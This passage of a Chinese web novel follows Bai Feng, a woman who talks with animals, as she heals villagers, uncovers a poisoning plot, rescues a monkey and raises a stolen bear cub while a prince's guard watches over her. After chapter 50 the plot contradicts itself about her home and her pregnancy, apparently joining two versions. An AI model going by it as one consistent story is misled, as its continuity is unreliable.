昨天卖药材得了五两银子,够她们娘俩吃一阵子,但长久不是办法。城隍庙破败不堪,冬天肯定冻死人,得赶紧找个能遮风挡雨的地方。 “主人,那耗子说的宝物你打算去找吗?”大黄狗凑过来。 白凤摇头:“先不急,我现在这身子骨,爬山都费劲,等养好了再说。” 原主被舅妈折腾得瘦骨嶙峋,摔下山崖后更是伤上加伤,这几天白凤虽然用采来的草药调理,但想完全恢复还需要时间。 正想着,庙门外传来脚步声。 白凤警觉地站起来,护在豆豆前面。大黄狗也竖起耳朵,喉咙里发出威胁的声音。 进来的是个五十来岁的老妇人,穿着打扮看着像城里的富户人家。她身后跟着个小丫鬟,手里提着食盒。 “姑娘别怕,我是来上香的。”老妇人和气地说,目光落在白凤脸上,眼中闪过一丝惊讶,“这么年轻就带着孩子,可怜见的。” 白凤没说话,只是戒备地看着她。 老妇人也不在意,从袖子里掏出一块碎银子:“这是我的一点心意,姑娘拿去买点吃的。” “不用。”白凤拒绝得干脆。 “哎哟,这孩子。”老妇人笑了,“我看你气色不好,是不是生病了?我家老爷开医馆的,要不要去看看?” 白凤心里一动。医馆?昨天那个赤脚郎中就是医馆的,这老妇人该不会是冲着她来的吧? “多谢好意,我没病。”白凤客气地说。 老妇人也不勉强,上完香就带着丫鬟走了,临走前又看了白凤一眼,眼神意味深长。 等人走远,大黄狗说:“主人,这老太婆不对劲,她看你的眼神就像在看货物。” 白凤皱眉:“我也觉得。看来得尽快离开这里,城隍庙太显眼了。” 下午,白凤带着豆豆去镇上转悠,想找个租房的地方。 镇子不大,但比村里热闹多了。街上人来人往,各种叫卖声此起彼伏。豆豆看什么都新鲜,拉着白凤的手东张西望。 “糖葫芦嘞,又甜又脆的糖葫芦!” 豆豆眼巴巴地看着那串红彤彤的糖葫芦,咽了咽口水。 白凤心软,买了一串给他。豆豆高兴得眼睛都弯了,小心翼翼地舔着,生怕吃快了。 “娘,你也吃。”豆豆把糖葫芦递到白凤嘴边。 白凤咬了一口,酸甜的味道在嘴里化开。她突然觉得,这样的日子也不错,虽然清苦,但自由。 问了几家,租房的价钱都不便宜。最便宜的也要一两银子一个月,而且都是那种破旧的小院子。 白凤正犹豫,突然听到前面传来争吵声。 “你这老货,卖的什么破药!我儿子吃了不但没好,反而更严重了!” 第47章 是你儿子的病太重了 一个壮汉揪着个老头的衣领,拳头都举起来了。 老头被吓得脸色发白:“我,我的药没问题,是你儿子的病太重了。” “放屁!你就是个骗子!”壮汉一拳挥过去。 白凤眼疾手快,抱着豆豆闪到一边。大黄狗却突然冲上去,咬住壮汉的裤腿。 “哪来的野狗!”壮汉一脚踢过去。 大黄狗灵活地躲开,继续骚扰他。趁着这个空档,老头挣脱开,跑到白凤身后。 “姑娘救命!”老头哆嗦着说。 白凤无语,这是什么情况?她只是路过,怎么就被卷进来了? 壮汉甩开大黄狗,气势汹汹地走过来:“你也是一伙的?” “我不认识他。”白凤冷静地说,“不过你儿子得的什么病?” 壮汉一愣:“关你什么事?” “如果我能治好呢?”白凤问。 她虽然不是大夫,但前世好歹也学过些医术,加上这几天在山洞里采药,对各种草药的药性也有了解。 壮汉上下打量她:“你?一个小丫头片子?” “试试又不要钱。”白凤说,“治不好,你再揍他不迟。” 壮汉犹豫了一下,最后点头:“行,你跟我来。” 白凤跟着壮汉到了他家。这是个普通的农户,院子里收拾得很干净。 屋里躺着个七八岁的男孩,脸色蜡黄,不停地咳嗽。壮汉的媳妇坐在床边抹眼泪。 白凤走过去,给男孩把了把脉。脉象虚弱,但不算严重,应该是风寒入肺,又被庸医误治。 “他吃的什么药?”白凤问。 老头在后面小声说:“麻黄汤。” 白凤皱眉:“他本来就体虚,你还用麻黄发汗,这不是要他的命吗?” 老头涨红了脸,说不出话。 “现在怎么办?”壮汉急了。 白凤想了想:“我去采点药,晚上给他煎了喝,三天就能好。” “真的?”壮汉媳妇眼里有了希望。 “我不骗人。”白凤说,“不过我有个条件。” 壮汉警惕地看着她:“什么条件?” “我需要个住的地方,你们院子挺大,能不能让我们娘俩在这住几天?我不白住,会付房租。” 壮汉和媳妇对视一眼,最后点头:“行,只要你能治好我儿子,别说房租,住多久都行。” 白凤松了口气。她带着大黄狗出门,直奔镇外的山上。 这次她没去山洞,而是在山脚下转悠。她需要的药材不复杂,紫苏、杏仁、桔梗,还有几味补气的药。 大黄狗跟在旁边:“主人,你真会治病?” “死马当活马医呗。”白凤边采药边说,“反正治不好也不会更坏。” “那你还答应人家?” “不然呢?总不能真住城隍庙吧,那地方阴气太重,豆豆受不了。” 采完药回到壮汉家,已经是傍晚。白凤借了厨房,开始煎药。 药香飘散开来,壮汉媳妇端着碗走进来:“姑娘,喝口水。” “谢谢。”白凤接过碗。 “我叫张氏,你叫我张婶子就行。”张氏看着她,“姑娘一个人带着孩子不容易吧?” 白凤笑笑,没接话。 药煎好了,白凤端着碗进屋,喂男孩喝下。药很苦,男孩皱着脸,但还是咽下去了。 “今晚可能会发汗,多盖点被子,明天早上就会好些。”白凤说。 壮汉点头,态度比之前好多了。 白凤抱着豆豆住进了西厢房。房间虽小,但干净整洁,比城隍庙强多了。 豆豆躺在床上,小手拉着白凤的衣角:“娘,我们以后就住这里吗?” “暂时住这里。”白凤给他盖好被子,“等娘挣够了钱,咱们就买个大房子。” “那要很多很多钱吧?”豆豆眨着眼睛。 “不多,娘有办法。”白凤摸摸他的头。 大黄狗趴在床边,突然说:“主人,我闻到一股很香的味道,好像是从山上传来的。” 白凤一愣:“什么味道?” “说不上来,就是很香,让我想流口水。”大黄狗舔舔鼻子,“会不会就是那耗子说的宝物?” 白凤心里一动。看来得找个时间上山看看,不过现在不急,先把男孩的病治好再说。 夜深了,白凤躺在床上,却怎么也睡不着。 她想起白天那个老妇人的眼神,还有尉迟深派来的黑甲侍卫。这两件事都透着古怪,让她心里不安。 算了,兵来将挡水来土掩,她现在最重要的是照顾好豆豆,其他的以后再说。 第二天一早,白凤就被张氏的惊呼声吵醒。 “真的退烧了!孩子退烧了!” 白凤揉着眼睛走出去,就见张氏抱着儿子又哭又笑。男孩脸色好了许多,虽然还有些虚弱,但精神明显好转。 壮汉站在一旁,看白凤的眼神都变了:“姑娘真是神医!” “别乱说,我只是懂点皮毛。”白凤给男孩又把了把脉,“继续吃两天药就好了。” 张氏拉着白凤的手,眼泪又下来了:“姑娘,你就是我们家的救命恩人。” “张婶子别这么说,我也是有条件的。”白凤有些不自在。 “什么条件不条件的,你要住多久就住多久,我们家的房子随便你住!”壮汉大声说。 白凤笑了笑,没再推辞。 吃过早饭,她带着豆豆去镇上转悠。大黄狗也跟着,尾巴摇得欢快。 镇上的集市比昨天还热闹,白凤想买点布料,给豆豆做身新衣裳。这孩子的衣服都是补丁摞补丁,看着怪可怜的。 “娘,那是什么?”豆豆指着前面一个摊位。 白凤看过去,是个卖古董的摊子,上面摆着些瓶瓶罐罐,还有几块玉石。 摊主是个瘦老头,正无聊地打着哈欠。 白凤本来没什么兴趣,但大黄狗突然说:“主人,那块黑色的石头有问题。” “什么问题?”白凤问。 “我也说不清,就是觉得它不是普通石头。”大黄狗盯着摊子上一块巴掌大的黑石头。 白凤走过去,拿起那块石头。石头很沉,表面光滑,隐约能看到些纹路。 “这个多少钱?”白凤问。 瘦老头瞥了一眼:“五十文。” “太贵了。”白凤放下石头,“二十文。” “不行不行,最少四十文。”瘦老头摆手。 白凤转身就走。 “哎哎哎,三十文!三十文行不行?”瘦老头喊。 白凤回头,掏出三十文铜钱。瘦老头接过钱,嘀咕着:“真是倒霉,这破石头压了我半年,总算出手了。” 白凤把石头揣进怀里,继续往前走。 “主人,你买这个干什么?”大黄狗问。 第48章 原来是个耍猴的 “不知道,反正不贵,买回去研究研究。”白凤说。 她正要去布店,突然看到前面围了一圈人,不知道在看什么。 白凤好奇,挤进去一看,原来是个耍猴的。 一只瘦猴子穿着红衣服,在地上翻跟头,动作滑稽。旁边站着个中年男人,手里拿着根鞭子,不时抽打猴子。 猴子每被抽一下,就龇牙咧嘴,但还是得继续表演。 豆豆看得目不转睛,小脸上满是兴奋。 白凤却皱起眉。她突然听到猴子的声音—— “疼死我了,这个混蛋,总有一天我要咬死他!” 白凤一愣。她能听懂猴子说话? “主人,你听到了?”大黄狗也惊讶。 白凤点点头。看来她这个能力不止能听懂狗说话,其他动物也行。 中年男人见围观的人不少,得意地说:“各位看官,我这猴子可是通人性的,你们说什么它都听得懂!” “真的假的?”有人质疑。 “不信你试试!”中年男人说。 那人想了想:“让它学狗叫。” 中年男人抽了猴子一鞭子:“听到没有?学狗叫!” 猴子委屈地“汪汪”叫了两声,围观的人都笑了。 白凤却笑不出来。她听到猴子在骂:“王八蛋,我学你奶奶个腿!” “主人,这猴子好可怜。”大黄狗说。 白凤沉默了一下,问:“你想救它?” “想是想,但那人肯定不会卖。”大黄狗说。 白凤走上前:“这猴子卖吗?” 中年男人打量她一眼:“不卖,这是我的摇钱树。” “五两银子。”白凤说。 周围的人都惊了。五两银子可不是小数目,够普通人家半年的开销。 中年男人眼睛亮了,但还是摇头:“不够,至少十两。” “六两。”白凤说,“再多我就不要了。” 中年男人犹豫了一下,最后咬牙:“成交!” 他生怕白凤反悔,赶紧把猴子的绳子递过来。猴子还没反应过来,就被白凤牵走了。 “主人,你哪来这么多银子?”大黄狗问。 “卖药材的钱。”白凤说,“本来想留着买房子,不过算了,先救这猴子再说。” 猴子跟在白凤身后,不停地回头看那个中年男人,眼里满是不舍。 “你舍不得他?”白凤问。 猴子一愣,然后惊恐地看着白凤:“你,你能听懂我说话?” “能。”白凤说,“我不会虐待你,也不会让你表演,你自由了。” 猴子愣了半天,突然“哇”的一声哭出来:“我以为这辈子都要被那个混蛋折磨,没想到还能有自由的一天!” 白凤有些无奈:“别哭了,丢人。” 猴子抹了把眼泪:“我叫小黑,以后我就跟着你了!” “随便你。”白凤说,“不过你得听话,不能闹事。” “保证听话!”小黑拍着胸脯。 白凤带着豆豆、大黄狗和小黑回到壮汉家。张氏看到猴子,吓了一跳:“这是哪来的?” “路上买的。”白凤说,“张婶子别担心,它很乖。” 小黑立刻鞠躬作揖,把张氏逗笑了:“这猴子还真有意思。” 豆豆更是高兴坏了,拉着小黑的手不放。小黑也很喜欢豆豆,给他表演翻跟头。 晚上,白凤坐在院子里,拿出那块黑石头研究。 月光下,石头表面的纹路越发清晰,像是某种文字,又像是图案。 “主人,这石头到底是什么?”大黄狗凑过来。 “不知道。”白凤摇头,“但肯定不是普通石头。” 小黑也跳过来,看了一眼:“咦,这上面好像有字。” “你认识?”白凤惊讶。 “不认识,但我以前跟着主人走南闯北,见过类似的东西。”小黑挠挠头,“好像是古代的文字。” 白凤若有所思。古代文字?难道这石头有来历? 正想着,院门突然被敲响。 壮汉去开门,进来的是个穿着体面的中年男人,身后跟着几个家丁。 “请问白姑娘在吗?”中年男人客气地问。 白凤站起来:“我就是。” 中年男人拱手:“在下李济仁,是镇上济世堂的大夫。听说姑娘医术高明,特来拜访。” 白凤心里一沉。济世堂?那不就是昨天那个老妇人提到的医馆吗? “李大夫客气了,我只是略懂皮毛。”白凤说。 “姑娘太谦虚了。”李济仁笑道,“张家孩子的病,我也看过,束手无策。没想到姑娘一出手就药到病除,实在令人佩服。” 白凤没说话,等着他继续。 “是这样的,我想请姑娘到济世堂坐诊,月俸五两银子,如何?”李济仁说。 五两银子确实不少,但白凤总觉得这事没那么简单。 “多谢李大夫好意,不过我还要照顾孩子,恐怕没时间。”白凤婉拒。 李济仁脸色变了变,但还是保持着笑容:“那真是可惜。不过姑娘要是改变主意,随时可以来找我。” 他说完就告辞离开了。 壮汉关上门,小声说:“这个李济仁可不是什么好人,镇上都传他心黑,专门坑穷人的钱。” 白凤点头,她早就看出来了。这个李济仁表面客气,但眼神阴沉,一看就不是善类。 “主人,我怎么觉得他不怀好意?”大黄狗说。 “确实。”白凤说,“看来我们得小心点了。” 接下来几天,白凤每天给男孩煎药,孩子的病很快就好了。张氏感激不尽,非要留白凤多住些日子。 白凤也不客气,她现在确实需要个落脚的地方。 这天,她带着大黄狗和小黑上山采药。豆豆被张氏留在家里,说是要给他做好吃的。 山上的药材不少,白凤采了一大筐。她正要下山,突然听到前面传来打斗声。 白凤躲在树后,小心地往前看。 只见两拨人正在厮杀,一方是黑衣人,另一方是穿着官服的衙役。 黑衣人武功高强,几个衙役根本不是对手,很快就被打倒在地。 为首的黑衣人走上前,一脚踩在一个衙役的胸口:“说,东西在哪?” “我不知道!”衙役咬牙。 黑衣人冷笑,手起刀落,衙役惨叫一声,胳膊被砍断。 白凤倒吸一口凉气,赶紧捂住嘴。 “主人,我们快走!”大黄狗小声说。 白凤点头,正要离开,脚下却踩到一根树枝,发出“咔嚓”一声。 黑衣人立刻转头,目光如刀:“谁在那里!” 白凤心里叫苦,转身就跑。 “抓住她!”黑衣人喊道。 几个黑衣人追了上来,速度极快。白凤拼命跑,但她一个弱女子,怎么跑得过这些练家子? 第49章 做好准备 眼看就要被追上,突然一道黑影从天而降,挡在白凤面前。 白凤定睛一看,是那个黑甲侍卫! 黑甲侍卫一言不发,长剑出鞘,寒光闪过。 追来的几个黑衣人还没反应过来,就被剑气逼退。为首的黑衣人脸色一变,厉声道:“是你!” 黑甲侍卫没理他,回头对白凤说:“走。” 白凤还在发愣,就被大黄狗咬着衣角往后拖。小黑更机灵,直接跳到她肩上,拽着她的头发催促。 “主人快跑啊!那些人不好惹!” 白凤这才反应过来,撒腿就跑。 身后传来兵器碰撞的声音,还有黑衣人的怒吼。白凤不敢回头,只顾着往山下跑。 跑到半山腰,她实在跑不动了,扶着树干大口喘气。 “该死,怎么会遇到这种事?”白凤骂了一句。 “主人,那些人好像是在找什么东西。”小黑说,“会不会就是耗子说的宝物?” 白凤心里一动。有可能,不然怎么会有人在山上火拼? “不管了,咱们先回去再说。”白凤说。 她带着大黄狗和小黑匆匆下山,回到壮汉家时,天已经黑了。 豆豆正在院子里玩,看到白凤回来,立刻扑过来:“娘,你去哪了?我好想你。” 白凤抱起他,心里一暖:“娘去采药了,有没有听张婶子的话?” “有!”豆豆用力点头。 张氏从厨房出来,看到白凤,松了口气:“可算回来了,我还担心你出事呢。” “让张婶子担心了。”白凤歉意地说。 晚饭时,壮汉突然说:“今天镇上出事了,听说有人在山上杀了几个衙役,现在衙门正在查。” 白凤手一抖,差点把筷子掉了。 “怎么回事?”张氏紧张地问。 “不知道,反正挺乱的。”壮汉说,“你们这几天最好别出门,尤其是别上山。” 白凤点头,心里却在盘算。看来那些黑衣人和衙门的人都在找同一样东西,而这东西很可能就在山上。 她摸了摸怀里的黑石头,总觉得这石头和宝物有关系。 夜深人静,白凤躺在床上翻来覆去睡不着。 “主人,你在想什么?”大黄狗趴在床边。 “我在想那个黑甲侍卫为什么会出现。”白凤说,“他是不是一直在暗中保护我们?” “应该是。”小黑说,“我看他的样子,像是奉命行事。” “奉谁的命?”白凤问。 “还能有谁?肯定是那个尉迟深。”小黑说,“虽然你拒绝了他,但他显然没有放弃。” 白凤叹了口气。这个尉迟深到底想干什么? 第二天一早,白凤正在院子里洗衣服,院门又被敲响了。 壮汉去开门,进来的是个年轻的衙役,神色匆忙。 “请问白姑娘在吗?”衙役问。 白凤站起来:“我在。” 衙役松了口气:“白姑娘,县令大人有请。” 白凤心里咯噔一下。县令找她干什么?难道是因为昨天山上的事? “不知县令大人找我有何事?”白凤问。 “属下不知,还请姑娘随我走一趟。”衙役说。 白凤没办法,只能跟着去了。 县衙里,县令坐在大堂上,看起来四十来岁,留着山羊胡,一脸严肃。 “草民白凤,见过县令大人。”白凤行礼。 县令摆摆手:“免礼。听说你医术高明,本官有事相求。” 白凤一愣。不是来问山上的事? “不敢当,大人有何吩咐?”白凤问。 县令叹了口气:“是这样的,本官的夫人病了,请了好几个大夫都治不好,听说你能治疑难杂症,所以想请你去看看。” 白凤松了口气,原来是这么回事。 “大人抬举了,草民只是略懂皮毛,不敢说能治好。”白凤说。 “无妨,你尽力就好。”县令说,“如果能治好,本官必有重谢。” 白凤跟着县令去了后宅。县令夫人躺在床上,脸色苍白,气息微弱。 白凤给她把脉,发现脉象很乱,像是中毒的症状。 “夫人最近吃过什么特别的东西吗?”白凤问。 县令想了想:“没有啊,就是日常的饭菜。” 白凤皱眉,继续检查。她突然发现县令夫人的指甲有些发黑,这是慢性中毒的迹象。 “大人,恕草民直言,夫人这是中毒了。”白凤说。 县令脸色大变:“中毒?怎么可能!” “草民不会看错。”白凤说,“而且是慢性毒药,已经积累了很长时间。” 县令沉默了一会,突然问:“能查出是什么毒吗?” 白凤摇头:“这需要仔细检查,不过草民可以先开些解毒的药,延缓病情。” 县令点头:“那就拜托你了。” 白凤开了药方,让人去抓药。她正要离开,县令突然叫住她。 “白姑娘,本官有件事想问你。”县令说,“昨天你是不是在山上?” 白凤心里一紧,但表面上很平静:“草民确实去山上采过药。” “那你有没有看到什么可疑的人?”县令问。 白凤摇头:“没有,草民采完药就下山了。” 县令盯着她看了一会,最后说:“如果你看到什么,一定要告诉本官。” “是。”白凤应道。 离开县衙,白凤长出一口气。看来县令已经怀疑她了,只是没有证据。 “主人,你说县令夫人是谁下的毒?”大黄狗问。 “不知道,但肯定是身边的人。”白凤说,“能长期下毒,必定是朝夕相处的人。” 回到壮汉家,白凤把豆豆抱在怀里,心里越发不安。 这个镇子太不太平了,她得尽快带着豆豆离开。 晚上,白凤又拿出那块黑石头研究。月光照在石头上,那些纹路竟然微微发光。 白凤吃了一惊,凑近细看。 纹路组成了一幅图,像是一张地图,标注着山川河流,还有一个明显的标记。 “这是什么地方?”白凤喃喃自语。 小黑凑过来看了看:“主人,这个标记好像就在咱们镇外的山上!” 白凤心跳加速。难道这石头真的和宝物有关? “主人,你不会想去找宝物吧?”大黄狗担心地说。 “不去白不去。”白凤说,“反正那些人也在找,我为什么不能找?” “可是太危险了!”大黄狗说。 “我知道。”白凤说,“所以我要做好准备。” 接下来几天,白凤一边给县令夫人治病,一边暗中打听消息。 她发现县令夫人身边有个贴身丫鬟,叫翠儿,行为很可疑。每次白凤去看病,翠儿都躲得远远的,眼神闪烁。 白凤故意试探了几次,翠儿果然露出马脚。原来她是被人收买的,在县令夫人的饭菜里下毒。 白凤把这件事告诉了县令,县令大怒,立刻把翠儿抓起来审问。 第50章 这不只是梦 翠儿招供了,说是济世堂的李济仁指使她下毒的。原来李济仁和县令有仇,想借此报复。 县令当即下令抓捕李济仁,但李济仁早就逃了。 县令对白凤感激涕零,不但给了她一百两银子,还送了她一座宅子。 白凤没想到会有这样的收获,高兴得合不拢嘴。 “主人,咱们发财了!”大黄狗兴奋地叫。 “是啊,总算苦尽甘来。”白凤说。 她带着豆豆搬进了新宅子。宅子不大,但很精致,有三进院子,还有个小花园。 豆豆在院子里跑来跑去,开心得不得了。 白凤站在院子里,看着儿子的笑脸,心里满是温暖。 “娘,我们以后就住这里吗?”豆豆跑过来问。 “对,以后这就是咱们的家。”白凤说。 “太好了!”豆豆欢呼。 大黄狗和小黑也很高兴,在院子里撒欢。 白凤笑着看着他们,突然觉得这样的生活也挺好。 但她知道,平静只是暂时的。那些黑衣人还在找宝物,尉迟深也没有放弃。 她摸了摸怀里的黑石头,眼神变得坚定。 既然躲不掉,那就面对吧。 她要变得更强,强到没人能伤害她和豆豆。 夜幕降临,白凤站在院子里,抬头看着天上的星星。 “等着吧,总有一天,我会让所有人刮目相看。”她轻声说。 风吹过,带来一丝凉意。 远处,一个黑色的身影站在屋顶上,默默地看着院子里的白凤。 那是黑甲侍卫。 他转身离开,消失在夜色中。 院子里,白凤突然打了个寒颤,总觉得有人在看着她。 她回头看了看,什么也没有。 “算了,可能是我多心了。”白凤摇摇头,转身进屋。 院门外,一辆马车缓缓停下。 车帘掀开,露出一张俊美却冷峻的脸。 正是尉迟深。 他看着院子的方向,眼神复杂。 “主子,要不要属下去把她带回来?”车外的侍卫问。 “不用。”尉迟深说,“让她再玩几天,反正跑不掉。” “是。”侍卫应道。 马车离开了,只留下一串车轮印记。 院子里,白凤抱着豆豆睡着了。 她做了个梦,梦见自己站在一座金碧辉煌的宫殿里,身边站着一个模糊的身影。 那个身影伸出手,想要抓住她。 白凤转身就跑,但怎么也跑不出去。 她猛地惊醒,发现自己满头大汗。 “只是个梦。”白凤喃喃自语。 但她心里清楚,这不只是梦。 暴风雨就要来了。 黑甲侍卫的出现像一块石头砸进了平静的水面,镇上的人都炸开了锅。 师爷当天晚上就登门拜访了沈冬梅,进门连茶都没喝,直接摆手:“沈夫人,您那外甥女的事,我实在帮不上忙了。” 沈冬梅脸色一变:“师爷,您这是什么意思?” “什么意思?”师爷抹了把额头的汗,“那黑甲侍卫可是王府的人!我一个小小的师爷,哪敢掺和王府的事?您还是另请高明吧。” 说完,师爷起身就走,连夜色都顾不上了。 沈冬梅气得浑身发抖,转头看向自家男人:“你看看,这就是你平日里交的好友!” 舅舅坐在椅子上,端着茶碗没吭声。他心里清楚得很,师爷这是怕惹祸上身。毕竟白凤那孩子肚子里揣着的,可是王爷的骨肉。 “娘,咱们现在怎么办?”一旁的表哥也慌了神。 沈冬梅咬着牙,眼珠子转了转:“不行,我得去找王婆子商量商量。” 第二天一早,白凤背着竹篓又上山了。 大黄狗欢快地在前面带路,尾巴摇得像拨浪鼓。白凤摸了摸它的脑袋:“就你最机灵。” 这次她采药格外顺利,半天功夫就装满了两大篓。那些珍贵的草药像是长了眼睛,专门等着她来采似的。 “得去郡城卖了。”白凤盘算着,镇上的赤脚郎中虽然收药材,但价格压得太低,还总爱挑三拣四。 郡城离镇子有二十里地,白凤天不亮就出发了。大黄狗跟在身边,不时警惕地四处张望。 到了郡城,白凤直奔药铺。掌柜的是个精明人,一看她篓子里的货色,眼睛都亮了:“姑娘,这些药材品相极好啊!” “掌柜的会看货。”白凤笑了笑,“您给个实在价。” 掌柜的仔细挑拣了一番,最后伸出三根手指:“三十两银子,这个价在郡城绝对公道。” 白凤心里一喜,面上却不动声色:“成交。” 拿到银子,白凤心情大好。她在街上转了转,买了些米面油盐,又给自己扯了两匹布料。 正往回走,突然从巷子里窜出三个人,为首的是个麻脸汉子,眼神凶狠:“小娘子,把银子留下!” 白凤下意识地护住怀里的包袱,大黄狗立刻龇牙咧嘴,喉咙里发出低沉的吼声。 “哟,还有条狗?”麻脸汉子冷笑一声,“老二,去把那畜生解决了。” 话音刚落,一个瘦高个就抽出腰间的短刀,朝大黄狗扑去。 大黄狗身形一闪,张嘴就咬住了那人的手腕。瘦高个惨叫一声,刀子掉在地上。 “找死!”麻脸汉子恼羞成怒,抄起木棍就要砸向白凤。 就在这时,一道黑影从屋顶落下,一脚踢飞了麻脸汉子手里的木棍。 黑甲侍卫面无表情地站在白凤面前,声音冰冷:“滚。” 三个地痞哪见过这阵势,连滚带爬地跑了。 白凤看着眼前的黑甲侍卫,心情复杂。她知道这是尉迟深派来保护自己的,但这种被监视的感觉实在不好受。 “多谢。”她淡淡地说了两个字,转身就走。 黑甲侍卫没有跟上来,只是远远地跟在后面。 回到镇上,白凤直接去了牙行。她手里有了银子,第一件事就是换个住处。现在住的破屋子,一到下雨天就漏水,根本不适合养孩子。 牙行的老板是个圆脸胖子,一听白凤要买房,立刻热情起来:“姑娘,您想要什么样的?” “不用太大,两进的院子就行,最好靠近镇口,安静些。”白凤说出自己的要求。 胖老板眼珠子一转:“有!镇东头有个院子,正好符合您的要求。原来的主人搬去郡城了,急着出手,价格也便宜。” 白凤跟着去看了看,院子确实不错,前院有三间正房,后院还有个小厨房和柴房。最重要的是,院墙高,够结实。 “多少银子?” “原价五十两,现在只要四十两。” 白凤想了想:“三十五两,一口价。” 胖老板犹豫了一下,最后还是点了头:“成交!” 第51章 运气好罢了 办完手续,白凤搬进了新家。她站在院子里,看着宽敞的空间,心里盘算着下一步的计划。 大黄狗虽然厉害,但毕竟只是条狗。她需要更强的保镖。 白凤想起了磨房沟的黑熊。那地方她去过一次,熊多,而且个头都不小。如果能弄只熊崽回来养着,以后谁还敢欺负她? 说干就干,白凤第二天就准备进山。 她收拾好东西,正要出门,却发现门口站着个人——赤脚郎中。 “白姑娘,这是要出门?”赤脚郎中笑眯眯地问。 白凤心里一紧,面上却不显:“郎中有事?” “没事没事,就是路过,看看您。”赤脚郎中眼神在她身上转了一圈,“听说您最近采到不少好药材?” “运气好罢了。”白凤敷衍道。 赤脚郎中又说了几句闲话才离开,但白凤总觉得他眼神不对劲,像是在打什么主意。 不管了,先办正事要紧。 白凤带着大黄狗进了山,这次她准备了绳索、麻袋,还有一些迷药。对付黑熊,硬来肯定不行,得智取。 磨房沟在山的深处,地势险峻,一般人根本不敢去。白凤凭着记忆,走了大半天才到。 果然,沟里到处都是熊的痕迹。树干上有抓痕,地上有粪便,空气里弥漫着一股腥臭味。 白凤小心翼翼地往前走,突然听到一阵怪异的声音。 她躲在树后往外看,只见不远处有个人影,正是赤脚郎中! 这老家伙果然跟踪她! 白凤正想着怎么办,就听到一声惊天动地的熊吼。一头成年黑熊从洞里冲了出来,直奔赤脚郎中而去。 赤脚郎中吓得魂飞魄散,转身就跑,但哪里跑得过黑熊? 黑熊一巴掌拍在他背上,赤脚郎中整个人飞了出去,重重摔在地上。还没等他爬起来,黑熊已经扑了上去,张嘴就咬。 惨叫声在山谷里回荡,白凤看得头皮发麻。 大黄狗也吓得往后缩,白凤按住它的脑袋,示意它别出声。 赤脚郎中很快就没了动静,黑熊叼着他的尸体回了洞。 白凤等了好一会儿,确定黑熊不会再出来,才悄悄靠近熊洞。 洞口很大,里面黑漆漆的,传来黑熊进食的声音。白凤强忍着恶心,往洞里看了看。 就在这时,她听到了细微的叫声。 是熊崽! 白凤眼睛一亮,循着声音找过去,果然在洞口不远处的草丛里,发现了一只小熊崽。 小家伙毛茸茸的,还没睁眼,正饿得哼哼唧唧。 白凤二话不说,抓起熊崽就往麻袋里塞。小熊崽挣扎了几下,很快就安静了。 她背起麻袋,撒腿就跑。 身后传来黑熊暴怒的吼声,显然是发现孩子不见了。但白凤早就跑远了,大黄狗在前面开路,一人一狗飞快地冲出了磨房沟。 回到家,白凤把熊崽从麻袋里倒出来,小家伙在地上滚了两圈,茫然地抬起脑袋。 “别怕,以后跟着我,保你吃香的喝辣的。”白凤蹲下身,伸手摸了摸它的脑袋。 熊崽嗅了嗅她的手,大概是闻到了奶香味,竟然主动蹭了过来。 白凤心里一软,去厨房热了些羊奶,用布条蘸着喂它。小熊崽吃得很香,吃饱了就窝在她怀里睡着了。 大黄狗在一旁看着,眼神复杂。它大概在想,自己的地位要不保了。 “放心,你还是老大。”白凤笑着说。 接下来的几天,白凤专心在家养熊崽。小家伙长得很快,没几天就睁开了眼睛,开始满院子乱跑。 白凤给它取名叫“黑子”,和大黄狗一起,正好凑成一对。 黑子虽然小,但力气已经不小了。有一次白凤逗它玩,被它一巴掌拍在手上,疼得她龇牙咧嘴。 “行啊你,这么小就这么大劲儿。”白凤揉着手腕,心里却很满意。 但好景不长,麻烦很快就来了。 这天下午,白凤正在院子里晒药材,突然听到外面传来一阵哭喊声。 “我的儿啊!我的儿啊!” 白凤皱眉走出去,只见王婆子抱着个孩子,正坐在地上嚎啕大哭。孩子的腿上缠着布条,渗出血迹。 “这是怎么了?”白凤问。 王婆子一看到她,立刻跳了起来,指着她的鼻子骂:“你还有脸问?都是你养的那些畜生!我儿子只是想进你院子看看,就被咬成这样!” 白凤脸色一沉:“我院门关得好好的,你儿子怎么进来的?” “那,那不重要!”王婆子理亏,但还是硬着头皮说,“重要的是我儿子受伤了!你得赔钱!” 白凤冷笑:“你儿子翻墙进我家,被狗咬了,还有理了?” “你!”王婆子气得说不出话来。 这时,围观的人越来越多。有人小声议论:“白凤家确实养了不少东西,那熊崽我见过,可吓人了。” “是啊,万一哪天跑出来伤人怎么办?” “这种危险的东西,不该养在镇上。” 王婆子一听,立刻来了精神:“大家都听到了吧?白凤养这些东西,就是祸害!今天咬了我儿子,明天说不定就咬别人家的孩子!这种人,不能让她留在镇上!” 人群里有人附和,也有人沉默。 白凤扫视一圈,心里明白,这是有人故意挑事。 “王婆子,你儿子偷东西不是一次两次了吧?”白凤突然说,“上个月李家丢了只鸡,上上个月张家丢了块腊肉,都是你儿子干的。现在又来我家偷东西,被咬了活该!” 王婆子脸色一变:“你胡说!” “我胡”白凤冷笑,“那你敢不敢让大家搜搜你儿子身上?” 王婆子心虚了,抱着孩子就要走。 “站住!”白凤拦住她,“今天这事必须说清楚。你儿子偷我家东西,被狗咬了,我可以不追究。但你要是再敢污蔑我,别怪我不客气!” 王婆子被她气势震住,嘴里嘟囔着什么,灰溜溜地走了。 围观的人也散了,但白凤知道,这事不会这么简单就结束。 果然,第二天一早,沈冬梅就带着王婆子上门了。 “白凤,你出来!”沈冬梅站在门口喊。 白凤开门,看到舅妈身边还跟着几个镇上的妇人,心里就明白了。 “舅妈有事?” “有事!”沈冬梅板着脸,“你养这些东西,已经影响到镇上的安全了。大家商量过了,你要么把那些畜生处理掉,要么就搬出镇子!” 白凤看着她,突然笑了:“舅妈,您这是要赶我走?” “不是我要赶你走,是大家的意思!”沈冬梅理直气壮。 “大家?”白凤环视一圈,“我倒要问问,在座的各位,有谁被我家的狗或者熊伤过?” 众人面面相觑,没人吭声。 “既然没有,凭什么说我养的东西危险?”白凤继续说,“王婆子的儿子偷东西被咬,那是他活该。难道以后谁家养狗,小偷来了还不能咬?” 第52章 强词夺理? “你这是强词夺理!”沈冬梅气急败坏。 “我强词夺理?”白凤冷笑,“舅妈,您别以为我不知道您打的什么主意。不就是想把我赶走,好霸占我的房子吗?” 沈冬梅脸色一白:“你胡说什么!” “我有没有胡说,您心里清楚。”白凤说完,就要关门。 “等等!”一个声音从人群后面传来。 众人回头,只见舅舅从外面走了进来。他风尘仆仆,显然是刚从外地回来。 